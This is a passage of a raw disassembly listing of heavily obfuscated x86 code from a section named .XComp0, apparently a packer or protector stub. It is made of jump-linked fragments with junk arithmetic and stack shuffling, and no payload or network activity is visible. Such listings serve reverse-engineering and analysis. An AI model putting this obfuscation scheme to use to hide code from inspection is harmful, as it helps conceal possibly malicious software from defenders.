CODE XREF: .XComp0:0057B1CCj pop edx mov eax, [esp] add esp, 4 mov ebx, [esp] jmp loc_582C2E ; --------------------------------------------------------------------------- loc_573EE4: ; CODE XREF: .XComp0:0057A8A8j pop eax add ecx, eax mov eax, [esp] add esp, 4 add ecx, 4 jmp loc_5757B9 ; --------------------------------------------------------------------------- loc_573EFB: ; CODE XREF: .XComp0:0057B660j mov ecx, 0FFFFFFFFh add esi, ecx jmp loc_58035C ; --------------------------------------------------------------------------- loc_573F07: ; CODE XREF: .XComp0:00573B07j sub ebx, 5C582DC5h jmp loc_57F680 ; --------------------------------------------------------------------------- loc_573F12: ; CODE XREF: .XComp0:005759ECj mov ecx, [esp] add esp, 4 push 4A70h mov [esp], edi mov edi, 0ED6937B0h jmp loc_582A69 ; --------------------------------------------------------------------------- loc_573F2D: ; CODE XREF: .XComp0:00579C0Ej sub esi, 85D3487h jmp loc_57EFA6 ; --------------------------------------------------------------------------- loc_573F38: ; CODE XREF: .XComp0:0057A4A6j pop esp push esi mov esi, esp add esi, 4 push ebp jmp loc_579120 ; --------------------------------------------------------------------------- loc_573F48: ; CODE XREF: .XComp0:0057533Aj mov edx, 4 add [esp+4], edx pop edx jmp loc_573541 ; --------------------------------------------------------------------------- loc_573F57: ; CODE XREF: .XComp0:00582FE1j mov [esp], ecx mov ecx, 7C5B7621h jmp loc_583211 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_573F6C: ; CODE XREF: .XComp0:0057E526j add esi, 4 add esi, 4 jmp loc_57F113 ; --------------------------------------------------------------------------- loc_573F7A: ; CODE XREF: .XComp0:005736AFj push esp pop edi jmp loc_574FFD ; --------------------------------------------------------------------------- loc_573F81: ; CODE XREF: .XComp0:0057D4DAj push edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, 0C014403h jmp loc_5777AA ; --------------------------------------------------------------------------- loc_573F9F: ; CODE XREF: .XComp0:00578AA5j pop eax xor esi, 138F5120h xor esi, 4D4B707Ah xor esi, 1B0D28CAh jmp loc_580BCE ; --------------------------------------------------------------------------- loc_573FB7: ; CODE XREF: .XComp0:005801F1j mov eax, [esp] add esp, 4 dec eax shl eax, 4 add eax, 0FFFFFFFFh push ebp mov ebp, 14AC4C96h inc ebp jmp loc_57D8B1 ; --------------------------------------------------------------------------- loc_573FD3: ; CODE XREF: .XComp0:0057B330j push edi mov edi, 49170134h jmp loc_574EB1 ; --------------------------------------------------------------------------- loc_573FDE: ; CODE XREF: .XComp0:0057BA97j pop ebx pop eax pop ebx push dword ptr [esp] jmp loc_573587 ; --------------------------------------------------------------------------- lodsb jmp loc_5766CE ; --------------------------------------------------------------------------- loc_573FEF: ; CODE XREF: .XComp0:00577C8Bj not ebp sub ebp, 2B0D46A3h mov edi, ebp pop ebp dec edi add edi, 0CBA2F61Bh mov ebp, edi pop edi jmp loc_577722 ; --------------------------------------------------------------------------- loc_574009: ; CODE XREF: .XComp0:0057B2D1j push 3DD0h mov [esp], esi mov esi, 1 and eax, esi jmp loc_580F23 ; --------------------------------------------------------------------------- loc_57401D: ; CODE XREF: .XComp0:00581EBEj push eax mov ah, 9Ch sub ch, ah jmp loc_576C67 ; --------------------------------------------------------------------------- loc_574027: ; CODE XREF: .XComp0:00579ED2j mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ecx mov ecx, esp push 6C5Eh mov [esp], edi mov edi, 4 add ecx, 3D5F336Dh add ecx, edi sub ecx, 3D5F336Dh pop edi add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 1F5Fh jmp loc_57E805 ; --------------------------------------------------------------------------- loc_574075: ; CODE XREF: .XComp0:00575295j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_57CE4C ; --------------------------------------------------------------------------- loc_57408D: ; CODE XREF: .XComp0:005829CBj pop esp mov [esp], ebp push dword ptr [esp+4] jmp loc_57559C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_574355 ; --------------------------------------------------------------------------- loc_5740A8: ; CODE XREF: .XComp0:00582D1Fj push edi mov edi, 5583296h inc edi add edi, 57DF6EE1h jmp loc_576849 ; --------------------------------------------------------------------------- loc_5740BA: ; CODE XREF: .XComp0:00582374j mov ebp, 4 jmp loc_575C39 ; --------------------------------------------------------------------------- loc_5740C4: ; CODE XREF: .XComp0:00581B6Bj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, 64604B96h add ebp, edi pop edi jmp loc_57D7A2 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5794F8 ; --------------------------------------------------------------------------- loc_5740EB: ; CODE XREF: .XComp0:005735C0j mov edi, 3B432764h jmp loc_57FB76 ; --------------------------------------------------------------------------- loc_5740F5: ; CODE XREF: .XComp0:0057BEC2j mov [esp], ebp mov ebp, 88E3627h push eax mov eax, 7ECB1BADh xor ebp, eax jmp loc_57850B ; --------------------------------------------------------------------------- loc_57410A: ; CODE XREF: .XComp0:0058084Aj shr edi, 8 add edi, 36099333h add eax, edi mov edi, [esp] add esp, 4 jmp loc_577D99 ; --------------------------------------------------------------------------- xor [esp], edx xor edx, [esp] xor [esp], edx xchg ebx, edx sub esp, 4 mov [esp], ebx not dword ptr [esp] push dword ptr [esp] jmp loc_57356D ; --------------------------------------------------------------------------- loc_57413F: ; CODE XREF: .XComp0:00577C4Fj sub ah, 7Ah add bl, ah mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_57F4F2 ; --------------------------------------------------------------------------- loc_57415D: ; CODE XREF: .XComp0:0057F15Dj mov ebx, esp push 4C7Dh mov [esp], ebp push eax mov eax, 2AD41103h add eax, 9823363h jmp loc_57DDD0 ; --------------------------------------------------------------------------- loc_574177: ; CODE XREF: .XComp0:0057E269j push edi push 51452F4h pop edi jmp loc_57B335 ; --------------------------------------------------------------------------- loc_574183: ; CODE XREF: .XComp0:0057C0E2j pop ecx neg ebx jmp loc_581447 ; --------------------------------------------------------------------------- loc_57418B: ; CODE XREF: .XComp0:00582DC8j xor ah, 0B3h sub dh, ah pop eax shr dh, 5 add dh, 59h xor dh, 0A1h add bh, dh pop edx jmp loc_578983 ; --------------------------------------------------------------------------- loc_5741A2: ; CODE XREF: .XComp0:00576967j and eax, edx jmp loc_5801C2 ; --------------------------------------------------------------------------- loc_5741A9: ; CODE XREF: .XComp0:0057C410j pop ebp push 1A78h mov [esp], edx mov edx, 19625969h sub ebx, edx jmp loc_57D4C4 ; --------------------------------------------------------------------------- loc_5741BE: ; CODE XREF: .XComp0:005797C5j push 33D9h mov [esp], ebx mov ebx, 12270787h shr ebx, 5 jmp loc_57BE64 ; --------------------------------------------------------------------------- loc_5741D3: ; CODE XREF: .XComp0:0057EBA1j push edx jmp loc_5792EB ; --------------------------------------------------------------------------- loc_5741D9: ; CODE XREF: .XComp0:0057FACDj sub [esp], ax pushf jmp loc_57F050 ; --------------------------------------------------------------------------- loc_5741E3: ; CODE XREF: .XComp0:005813ADj not edi or edi, 438441E8h push eax mov eax, 42D93A31h and eax, 4B021E4Dh add eax, 0D54287FEh add edi, eax jmp loc_57C92C ; --------------------------------------------------------------------------- loc_574202: ; CODE XREF: .XComp0:00573AE2j mov [esp], ebx mov ebx, 78291560h inc ebx jmp loc_57EBE2 ; --------------------------------------------------------------------------- loc_574210: ; CODE XREF: .XComp0:00574C83j pop ecx add ah, 0C0h push edx mov dh, 9Eh jmp loc_57858E ; --------------------------------------------------------------------------- loc_57421C: ; CODE XREF: .XComp0:0057D58Cj sub esi, 0FCB1590Ah sub eax, esi pop esi add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_576AA4 ; --------------------------------------------------------------------------- loc_574237: ; CODE XREF: .XComp0:00574EFCj add edi, 6A371273h mov eax, [esp] add esp, 4 push 3CE5h mov [esp], ecx mov ecx, 4 add edi, ecx mov ecx, [esp] add esp, 4 jmp loc_575ABD ; --------------------------------------------------------------------------- loc_574260: ; CODE XREF: .XComp0:00580527j xchg esi, [esp] pop esp pop dword ptr [esp] jmp loc_57C26E ; --------------------------------------------------------------------------- loc_57426C: ; CODE XREF: .XComp0:0058185Dj add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_574277: ; CODE XREF: .XComp0:0057787Bj neg ecx sub ecx, 259923E2h sub ebp, ecx pop ecx sub eax, ebp mov ebp, [esp] jmp loc_582240 ; --------------------------------------------------------------------------- loc_57428C: ; CODE XREF: .XComp0:0057AF27j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_581965 ; --------------------------------------------------------------------------- loc_57429D: ; CODE XREF: .XComp0:00583552j pop esi push dword ptr [ebx] jmp loc_57AE63 ; --------------------------------------------------------------------------- loc_5742A5: ; CODE XREF: .XComp0:00579D3Bj add esi, 0CAA8B7C5h sub edi, esi pop esi add esi, edi pop edi jmp loc_5735C5 ; --------------------------------------------------------------------------- loc_5742B6: ; CODE XREF: .XComp0:0057503Aj mov ecx, 0 sub ecx, ebx jmp loc_57C0E0 ; --------------------------------------------------------------------------- loc_5742C2: ; CODE XREF: .XComp0:0057BC5Bj sub esp, 2 mov [esp], cx push eax push edx mov dh, 0A8h mov al, 0D7h xor al, dh pop edx push 1F16h mov [esp], ebx jmp loc_57632B ; --------------------------------------------------------------------------- loc_5742E2: ; CODE XREF: .XComp0:00581BF5j pop esp jmp loc_5768D4 ; --------------------------------------------------------------------------- loc_5742E8: ; CODE XREF: .XComp0:0057AE02j mov [esp], edx mov edx, esp push edi mov edi, 0C122DDFh xor edi, 477145BBh push esi push eax jmp loc_580136 ; --------------------------------------------------------------------------- loc_574300: ; CODE XREF: .XComp0:005780CAj pop esi add edi, esi pop esi xchg edi, [esp] mov esp, [esp] jmp loc_582C36 ; --------------------------------------------------------------------------- loc_57430F: ; CODE XREF: .XComp0:00582CD7j add ebp, esi sub ebp, 15D31F1Eh pop esi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr ecx, 7 jmp loc_57A877 ; --------------------------------------------------------------------------- loc_574336: ; CODE XREF: .XComp0:00575604j not ebx xor ebx, 0F47189CDh add esi, ebx pop ebx jmp loc_5761D7 ; --------------------------------------------------------------------------- loc_574346: ; CODE XREF: .XComp0:0057DD81j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_57B626 ; --------------------------------------------------------------------------- loc_574355: ; CODE XREF: .XComp0:005740A3j add esp, 4 jmp loc_57E30F ; --------------------------------------------------------------------------- loc_57435D: ; CODE XREF: .XComp0:00578B62j push dword ptr [esp] pop ebx push edi jmp loc_574537 ; --------------------------------------------------------------------------- loc_574367: ; CODE XREF: .XComp0:0058219Fj mov [esp], ebp mov ebp, esp add ebp, 4 push edx push ebp mov ebp, 1E4A2C58h mov edx, 9DA79587h sub edx, ebp pop ebp shl edx, 1 or edx, 2A100B55h push edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] push eax jmp loc_58041A ; --------------------------------------------------------------------------- loc_574399: ; CODE XREF: .XComp0:00576C73j xor eax, [esp] xor [esp], eax push eax push ebx pop eax jmp loc_578EDE ; --------------------------------------------------------------------------- loc_5743A7: ; CODE XREF: .XComp0:005813CAj add ecx, edx sub ecx, 45966616h jmp loc_57835B ; --------------------------------------------------------------------------- loc_5743B4: ; CODE XREF: .XComp0:0057F51Bj mov ebp, esp jmp loc_582CC5 ; --------------------------------------------------------------------------- loc_5743BB: ; CODE XREF: .XComp0:00574866j mov ecx, esp push eax mov eax, 70646E52h shl eax, 8 or eax, 72EE6F3Dh neg eax xor eax, 891180C7h add ecx, eax pop eax push esi mov esi, 4 sub ecx, esi jmp loc_57E25C ; --------------------------------------------------------------------------- loc_5743E2: ; CODE XREF: .XComp0:005828C4j push ecx mov ecx, 36165485h sub esp, 4 mov [esp], esi jmp loc_57EB40 ; --------------------------------------------------------------------------- loc_5743F6: ; CODE XREF: .XComp0:00578A71j push esi push 54A4h jmp loc_57DF2E ; --------------------------------------------------------------------------- loc_574401: ; CODE XREF: .XComp0:00578A4Fj push ecx mov ch, 83h mov al, 4Fh xor al, ch pop ecx jmp loc_58320A ; --------------------------------------------------------------------------- loc_57440E: ; CODE XREF: .XComp0:00577618j sub eax, 41B112CFh not eax inc eax jmp loc_575954 ; --------------------------------------------------------------------------- loc_57441B: ; CODE XREF: .XComp0:0057B372j pop ebx jmp loc_5828A8 ; --------------------------------------------------------------------------- loc_574421: ; CODE XREF: .XComp0:00577D66j add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_5799AE ; --------------------------------------------------------------------------- loc_574431: ; CODE XREF: .XComp0:00583631j pop ecx push dword ptr [esp] jmp loc_574AB7 ; --------------------------------------------------------------------------- loc_57443A: ; CODE XREF: .XComp0:00579D29j mov [esp], esi push 58647C00h pop esi add edi, esi pop esi add ecx, edi jmp loc_5834EF ; --------------------------------------------------------------------------- loc_57444D: ; CODE XREF: .XComp0:00583325j pop ebx xchg ecx, [esp] pop esp add esi, 4 jmp loc_57EF19 ; --------------------------------------------------------------------------- loc_57445D: ; CODE XREF: .XComp0:0057AE12j or ecx, 13815B9Ch and ecx, 12F9001Ch xor ecx, 4CAC0961h sub ebp, ecx pop ecx add ebp, edx add ebp, 5E35097Dh mov edx, [esp] add esp, 4 push 6B5h jmp loc_57E19D ; --------------------------------------------------------------------------- loc_57448D: ; CODE XREF: .XComp0:0057A2E2j xor ecx, 0D5F3B0C1h shr ecx, 7 and ecx, 0E055B09h sub ecx, 0B4876C78h jmp loc_5762A7 ; --------------------------------------------------------------------------- loc_5744A7: ; CODE XREF: .XComp0:0057BCAEj pop edx add al, 1 push edx jmp loc_582DEB ; --------------------------------------------------------------------------- loc_5744B0: ; CODE XREF: .XComp0:0057F1EDj pop esi mov edx, [esp] add esp, 4 shl ebx, 6 xor ebx, 3143104h jmp loc_57E010 ; --------------------------------------------------------------------------- loc_5744C5: ; CODE XREF: .XComp0:0057CC9Aj mov edi, esp push ebx mov ebx, 1898573Bh push edx mov edx, 191F0B48h add ebx, 4FC432DEh add ebx, edx sub ebx, 4FC432DEh jmp loc_57D6EB ; --------------------------------------------------------------------------- loc_5744E6: ; CODE XREF: .XComp0:0057B6A2j push ebx not dword ptr [esp] pop ebx jmp loc_582452 ; --------------------------------------------------------------------------- loc_5744F0: ; CODE XREF: .XComp0:0057F8AAj sub edi, 1 or edi, 14AF092Ah dec edi neg edi push ebx mov ebx, 3BEB5BB6h jmp loc_577787 ; --------------------------------------------------------------------------- loc_574507: ; CODE XREF: .XComp0:0057F50Bj mov esi, 3B42386Ah not esi jmp loc_577037 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_574522: ; CODE XREF: .XComp0:0057EA4Ej pop esi sub edx, 0FF1A0B58h jmp loc_57A0C3 ; --------------------------------------------------------------------------- mov eax, [esp] push edi jmp loc_578E28 ; --------------------------------------------------------------------------- loc_574537: ; CODE XREF: .XComp0:00574362j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor [esp], eax xor eax, [esp] xor [esp], eax pop edx jmp loc_57566D ; --------------------------------------------------------------------------- loc_574555: ; CODE XREF: .XComp0:00582C31j push dword ptr [esp] pop eax jmp loc_574B87 ; --------------------------------------------------------------------------- loc_57455E: ; CODE XREF: .XComp0:00580EB9j xor ebx, eax jmp loc_582EF1 ; --------------------------------------------------------------------------- loc_574565: ; CODE XREF: .XComp0:0057F04Bj add eax, esi pop esi push edi mov edi, 7CB02145h jmp loc_577E50 ; --------------------------------------------------------------------------- loc_574573: ; CODE XREF: .XComp0:0057E1DCj pop ebx jmp loc_58266F ; --------------------------------------------------------------------------- loc_574579: ; CODE XREF: .XComp0:0057DE6Fj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax push esi push eax mov eax, 1FC559AEh xor eax, 302473A4h mov esi, eax pop eax jmp loc_581DF1 ; --------------------------------------------------------------------------- loc_5745A3: ; CODE XREF: .XComp0:0057B233j push ebx push eax push edi mov edi, 22B77ED3h sub [esp+4], edi pop edi mov ebx, [esp] add esp, 4 add ebx, 22B77ED3h mov edi, ebx push dword ptr [esp] jmp loc_575498 ; --------------------------------------------------------------------------- loc_5745C9: ; CODE XREF: .XComp0:00574EEFj xor eax, 0A609CE63h or ecx, eax pop eax not ecx inc ecx push 2954h mov [esp], edx push ebx mov ebx, 751415AFh mov edx, 9584091Dh xor edx, ebx pop ebx sub ecx, 54691041h add ecx, 20E85EC3h sub ecx, edx sub ecx, 20E85EC3h add ecx, 54691041h mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_57CC5B ; --------------------------------------------------------------------------- loc_57461F: ; CODE XREF: .XComp0:0057E4E8j push ebp mov ebp, 0FA77123h shl ebp, 4 sub ebp, 1 xor ebp, 0B4F41710h add edx, ebp pop ebp jmp loc_57FFBF ; --------------------------------------------------------------------------- loc_57463C: ; CODE XREF: .XComp0:0057B69Cj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp idiv cl movzx cx, ah push 1D03h mov [esp], ebp mov ebp, esp push 2746h mov [esp], ebx mov ebx, 75262452h not ebx shr ebx, 5 shr ebx, 5 push eax push esi jmp loc_57B9D7 ; --------------------------------------------------------------------------- loc_574688: ; CODE XREF: .XComp0:00579ECAj xchg edx, [esp] pop esp mov [esp], cx jmp loc_573541 ; --------------------------------------------------------------------------- loc_574695: ; CODE XREF: .XComp0:0058280Aj add esi, 4 xchg esi, [esp] jmp loc_582F98 ; --------------------------------------------------------------------------- loc_5746A3: ; CODE XREF: .XComp0:0057B06Ej sub esi, 0A40B781Ch mov edx, esi pop esi or edi, edx pop edx jmp loc_57FDC6 ; --------------------------------------------------------------------------- loc_5746B4: ; CODE XREF: .XComp0:0057D185j add ecx, 90D2E6DEh add ebx, ecx pop ecx push ebp mov ebp, 44C60F39h add ebp, 1CDA3EE3h and ebp, 787B0561h and ebp, 2FDE1587h dec ebp shr ebp, 8 xor ebp, 5DA76823h sub eax, ebp pop ebp jmp loc_57B9EF ; --------------------------------------------------------------------------- loc_5746E7: ; CODE XREF: .XComp0:0057F13Ej inc ebp dec ebp neg ebp jmp loc_58322F ; --------------------------------------------------------------------------- loc_5746F0: ; CODE XREF: .XComp0:005810B9j add ebx, 4 push edx mov edx, esp jmp loc_57D829 ; --------------------------------------------------------------------------- loc_5746FE: ; CODE XREF: .XComp0:0057DB56j push edx mov edx, 1287E2Dh jmp loc_581B45 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 6D9Eh mov [esp], ebx jmp loc_5810B7 ; --------------------------------------------------------------------------- loc_57471A: ; CODE XREF: .XComp0:0057A779j push ecx mov ecx, 1 jmp loc_58346B ; --------------------------------------------------------------------------- loc_574725: ; CODE XREF: .XComp0:00576BBAj pop ebx push 767Bh mov [esp], ebx mov ebx, 5FA70873h xor ebx, 517516A5h xor ebx, 50E61AC2h shl ebx, 6 xor ebx, 271F5C8Bh xor ebx, 0CC3F256Ah jmp loc_57E487 ; --------------------------------------------------------------------------- loc_574753: ; CODE XREF: .XComp0:0057AC03j sub esp, 4 mov [esp], ebp mov ebp, 5B486F1Ch xor ebp, 4AA01744h mov esi, ebp pop ebp xor ebx, esi pop esi inc ebx jmp loc_5775CB ; --------------------------------------------------------------------------- loc_574773: ; CODE XREF: .XComp0:0057F215j mov ebp, [esp] push ecx jmp loc_576935 ; --------------------------------------------------------------------------- loc_57477C: ; CODE XREF: .XComp0:0057D259j pop ecx jmp loc_579E49 ; --------------------------------------------------------------------------- loc_574782: ; CODE XREF: .XComp0:005805C2j and edx, 177344E1h sub edx, 1670001Dh add ebx, edx jmp loc_57624D ; --------------------------------------------------------------------------- loc_574795: ; CODE XREF: .XComp0:005798F3j mov ebp, eax pop eax xor ebp, 7F355CC7h sub eax, ebp pop ebp sub eax, ebp add eax, 716E278Dh jmp loc_57FE4F ; --------------------------------------------------------------------------- loc_5747AD: ; CODE XREF: .XComp0:005802DCj pop ecx push 7652h mov [esp], esi mov esi, 7D4706DBh sub ebx, esi pop esi push 41Ch mov [esp], esi sub esp, 4 jmp loc_57B7E8 ; --------------------------------------------------------------------------- loc_5747CE: ; CODE XREF: .XComp0:00580AE4j mov ebx, [esp] add esp, 4 movzx ax, byte ptr [eax] sub esp, 4 mov [esp], ebp mov ebp, esp push edi push esi jmp loc_57E785 ; --------------------------------------------------------------------------- loc_5747EA: ; CODE XREF: .XComp0:00573764j push eax mov eax, esp add eax, 4 jmp loc_5830B6 ; --------------------------------------------------------------------------- loc_5747F7: ; CODE XREF: .XComp0:00575CBEj push esi mov esi, 35C75301h push ecx mov ecx, 4D98062Ah sub ecx, 0F3ECEDC8h add ebp, ecx pop ecx sub ebp, esi sub ebp, 59AB1862h pop esi jmp loc_57AE45 ; --------------------------------------------------------------------------- loc_57481A: ; CODE XREF: .XComp0:005760EBj push eax mov al, 2Ch add al, 0BFh dec al not al shr al, 3 xor al, 4Dh jmp loc_57ADC3 ; --------------------------------------------------------------------------- loc_57482D: ; CODE XREF: .XComp0:00578481j push ebx mov ebx, esp push esi mov esi, 49EE359Fh inc esi sub esi, 49EE359Ch add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_57F3EB ; --------------------------------------------------------------------------- loc_57484C: ; CODE XREF: .XComp0:005800C7j mov [esp], bx sub esp, 4 jmp loc_581DAF ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ecx jmp loc_5743BB ; --------------------------------------------------------------------------- loc_57486B: ; CODE XREF: .XComp0:0057EC97j mov esi, 4 sub edi, 53431552h add edi, esi push ebp mov ebp, 53431552h jmp loc_57ED78 ; --------------------------------------------------------------------------- loc_574883: ; CODE XREF: .XComp0:0057CFDCj mov esi, 5D364DA8h jmp loc_57BA74 ; --------------------------------------------------------------------------- loc_57488D: ; CODE XREF: .XComp0:00576059j push ebx jmp loc_57AE84 ; --------------------------------------------------------------------------- loc_574893: ; CODE XREF: .XComp0:005780A0j push 4 pop edi push edi jmp loc_57C6D5 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp push 33E8h jmp loc_57F962 ; --------------------------------------------------------------------------- loc_5748B0: ; CODE XREF: .XComp0:00573700j sub esi, 7B862C6Ah jmp loc_578888 ; --------------------------------------------------------------------------- loc_5748BB: ; CODE XREF: .XComp0:0057B946j xor eax, [esp] mov esp, [esp] jmp loc_5799A6 ; --------------------------------------------------------------------------- loc_5748C6: ; CODE XREF: .XComp0:00579565j add eax, ecx mov [eax], dh jmp loc_573D3B ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5748D8: ; CODE XREF: .XComp0:0057F807j push ecx mov ecx, 0FF5FFEFCh jmp loc_5808F2 ; --------------------------------------------------------------------------- loc_5748E3: ; CODE XREF: .XComp0:005761CBj xchg eax, edi jmp loc_57AFAE ; --------------------------------------------------------------------------- loc_5748E9: ; CODE XREF: .XComp0:0057AFE4j pop edi xor eax, [esp] xor [esp], eax jmp loc_5822E3 ; --------------------------------------------------------------------------- loc_5748F5: ; CODE XREF: .XComp0:0058290Aj inc edx not edx jmp loc_5806BA ; --------------------------------------------------------------------------- loc_5748FD: ; CODE XREF: .XComp0:0057ABEAj add esi, 0FFFFFFFFh dec esi sub esi, 0B427DC4Dh sub ebx, 4B0B17CCh add ebx, esi add ebx, 4B0B17CCh push dword ptr [esp] pop esi add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] add edx, 3B552A27h add edx, 10F4411Bh add edx, eax sub esp, 4 mov [esp], ebx push 19A2h jmp loc_5750CB ; --------------------------------------------------------------------------- loc_574949: ; CODE XREF: .XComp0:00577888j sub al, dh push dword ptr [esp] pop edx add esp, 4 jmp loc_57EAAF ; --------------------------------------------------------------------------- loc_574957: ; CODE XREF: .XComp0:0057A051j add esp, 4 pop dword ptr [esp] jmp loc_580979 ; --------------------------------------------------------------------------- loc_574962: ; CODE XREF: .XComp0:005764E3j mov esi, edi pop edi shl esi, 3 push ecx mov ecx, 57CD2790h sub esi, ecx jmp loc_57C5CD ; --------------------------------------------------------------------------- loc_574975: ; CODE XREF: .XComp0:00577DDCj pop ebx neg ebx jmp loc_57CC0D ; --------------------------------------------------------------------------- loc_57497D: ; CODE XREF: .XComp0:0057C4B3j pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5816C1 ; --------------------------------------------------------------------------- loc_57498F: ; CODE XREF: .XComp0:005815CDj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 push 52F8h mov [esp], ecx mov ecx, 3DC3B27h jmp loc_57B254 ; --------------------------------------------------------------------------- loc_5749B6: ; CODE XREF: .XComp0:00576806j pop bx xor [esp], al xor al, [esp] jmp loc_57DBDA ; --------------------------------------------------------------------------- loc_5749C3: ; CODE XREF: .XComp0:0057E215j mov si, 406Ah xor si, 7FD7h add ax, si mov esi, [esp] push 785h mov [esp], edi push esp jmp loc_5819A4 ; --------------------------------------------------------------------------- loc_5749E0: ; CODE XREF: .XComp0:00582830j push 67F3h mov [esp], esi mov esi, 11E014F9h and esi, 6A190B40h push ebp mov ebp, 6BD45DF9h add esi, ebp jmp loc_574ADB ; --------------------------------------------------------------------------- loc_574A00: ; CODE XREF: .XComp0:0057995Ej pop esi jmp loc_57E21A ; --------------------------------------------------------------------------- loc_574A06: ; CODE XREF: .XComp0:0057FADAj sub al, bl jmp loc_57B197 ; --------------------------------------------------------------------------- loc_574A0D: ; CODE XREF: .XComp0:0058179Fj and ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5819CB ; --------------------------------------------------------------------------- loc_574A20: ; CODE XREF: .XComp0:00576CE4j ; .XComp0:00580CF1j ... mov ebx, [esp] push ecx push esp pop ecx push ebp jmp loc_573A01 ; --------------------------------------------------------------------------- loc_574A2C: ; CODE XREF: .XComp0:0057A0B7j add ebx, esi add ebx, 2FB25D7Ch pop esi add ebx, 1 jmp loc_57ABF7 ; --------------------------------------------------------------------------- loc_574A3D: ; CODE XREF: .XComp0:005832D4j add esp, 4 add esp, 4 jmp loc_5780B7 ; --------------------------------------------------------------------------- loc_574A48: ; CODE XREF: .XComp0:0057E2E1j pop esi sub esp, 4 mov [esp], ebp jmp loc_5800F0 ; --------------------------------------------------------------------------- loc_574A57: ; CODE XREF: .XComp0:005812B3j pop edx push dword ptr [esp] pop esi jmp loc_582DCD ; --------------------------------------------------------------------------- loc_574A61: ; CODE XREF: .XComp0:00580F83j sub dh, al jmp loc_581E34 ; --------------------------------------------------------------------------- loc_574A68: ; CODE XREF: .XComp0:0057F580j pop edi xor esi, ebx jmp loc_57D746 ; --------------------------------------------------------------------------- loc_574A70: ; CODE XREF: .XComp0:00583450j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_581D6A ; --------------------------------------------------------------------------- loc_574A85: ; CODE XREF: .XComp0:0057F657j pop esp add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_574A9C: ; CODE XREF: .XComp0:0057E43Cj sub eax, ebx jmp loc_579944 ; --------------------------------------------------------------------------- loc_574AA3: ; CODE XREF: .XComp0:0057AF2Dj add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_57F29A ; --------------------------------------------------------------------------- loc_574AB7: ; CODE XREF: .XComp0:00574435j pop ebx add esp, 4 jmp loc_580179 ; --------------------------------------------------------------------------- loc_574AC0: ; CODE XREF: .XComp0:005816B1j add ecx, 4 add ecx, 4 jmp loc_57ED87 ; --------------------------------------------------------------------------- loc_574ACE: ; CODE XREF: .XComp0:0057D4E0j mov edx, 4 add esi, edx pop edx jmp loc_575A89 ; --------------------------------------------------------------------------- loc_574ADB: ; CODE XREF: .XComp0:005749FBj pop ebp not esi sub esi, 3BB97E1Dh mov ebx, esi pop esi xor ecx, ebx push dword ptr [esp] pop ebx jmp loc_576311 ; --------------------------------------------------------------------------- loc_574AF2: ; CODE XREF: .XComp0:00581E17j or ebp, 0DBE5821h add ebp, 2A37A2CBh add eax, 175D0376h add eax, ebp sub eax, 175D0376h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub eax, 6EB00A28h add eax, ebp add eax, 6EB00A28h jmp loc_57D629 ; --------------------------------------------------------------------------- loc_574B2A: ; CODE XREF: .XComp0:00580EABj add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_57E297 ; --------------------------------------------------------------------------- loc_574B35: ; CODE XREF: .XComp0:0057BE2Cj pop edi or ebp, ebx pop ebx add ebp, 3EC63239h mov esi, ebp pop ebp xor esi, ebx pop ebx or esi, 6E9B0777h push 6C4Eh mov [esp], eax mov eax, 9100FA81h add esi, 5DA91FE8h add esi, 1CF74F27h add esi, eax sub esi, 1CF74F27h sub esi, 5DA91FE8h jmp loc_577471 ; --------------------------------------------------------------------------- loc_574B77: ; CODE XREF: .XComp0:005808C4j xchg eax, [esp] pop esp bswap eax push 31FBh jmp loc_57CF1C ; --------------------------------------------------------------------------- loc_574B87: ; CODE 